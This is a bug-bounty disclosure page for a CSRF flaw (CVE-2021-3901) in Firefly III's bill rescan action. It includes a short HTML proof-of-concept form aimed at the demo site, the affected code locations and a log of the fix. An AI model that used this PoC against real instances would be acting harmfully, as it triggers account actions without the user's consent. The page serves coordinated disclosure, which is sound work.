

Cross-Site Request Forgery (CSRF) in firefly-iii/firefly-iii

Valid Reported on Oct 23rd 2021

Description

there is a CSRF on `Run rules again action`

Proof of Concept

```
// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.firefly-iii.org/bills/rescan/2">
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

Occurrences

- show.twig L99-L129
- ShowController.php L83-L97

CVE

CVE-2021-3901

(Published)

Vulnerability Type

CWE-352: Cross-Site Request Forgery (CSRF)

Severity

Low (3.5)

Affected Version

*


Visibility

Public

Status

Fixed

Found by



amammad

@amammad

pro

Fixed by



James Cole

@jc5

maintainer

This report was seen 404 times.

- We have contacted a member of the `firefly-iii` team and are waiting to hear back a year ago
- James Cole validated this vulnerability a year ago
- amammad has been awarded the disclosure bounty ✓
- The fix bounty is now up for grabs
- James Cole marked this as fixed with commit `b42d8d` a year ago
- James Cole has been awarded the fix bounty ✓
- This vulnerability will not receive a CVE ✗
- show.twig#L99-L129 has been validated ✓
- ShowController.php#L83-L97 has been validated ✓

James Cole [a year ago](#)

Nice find, fixed!

Jamie Slome [a year ago](#)

[Admin](#)

CVE published! 🙌

Sign in to join this conversation

2022 © 418sec

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)